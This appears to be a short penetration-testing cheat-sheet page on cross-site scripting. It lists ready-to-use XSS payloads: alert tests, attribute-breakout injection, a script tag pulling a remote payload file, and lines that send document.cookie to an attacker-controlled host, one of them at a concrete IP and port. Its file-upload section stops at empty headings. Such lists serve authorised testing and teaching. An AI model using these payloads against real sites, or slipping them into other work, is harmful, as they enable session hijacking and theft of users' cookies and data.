XSS
Cross-site Scripting
Detection & Testing
Test for outbound connections
Setup HTTP Server:
python3 -m http.server 80Submit Payload:
<img src='http://IP/test.jpg' />if you receive a request, external resources are allowed
Check also Out-Of-Band Verification
Basic Code Execution Tests
<script>alert('XSS')</script><script>alert('Boo!');</script>Use it to call remote scripts
<script src="https://cdn.jsdelivr.net/gh/b4ndit23/WebAcademy-Resources@main/xss-payload.js "></script>Use it inside an input field or an attribute
"><script>alert(1)</script>Use it to call for external resources
<script>fetch('[host]')</script><img src=x onerror="alert('Boo!')">Use it to retrieve cookies to an external resource
<img src=x onerror="fetch('[HOST]' + document.cookie)" />Inject into an existing script block
fetch('http://10.10.14.91:8000/?cookie=' + document.cookie);Arbitrary File Upload
First, create the file that you are going to use to load the malicious javascript:
Then, create the script:
Last updated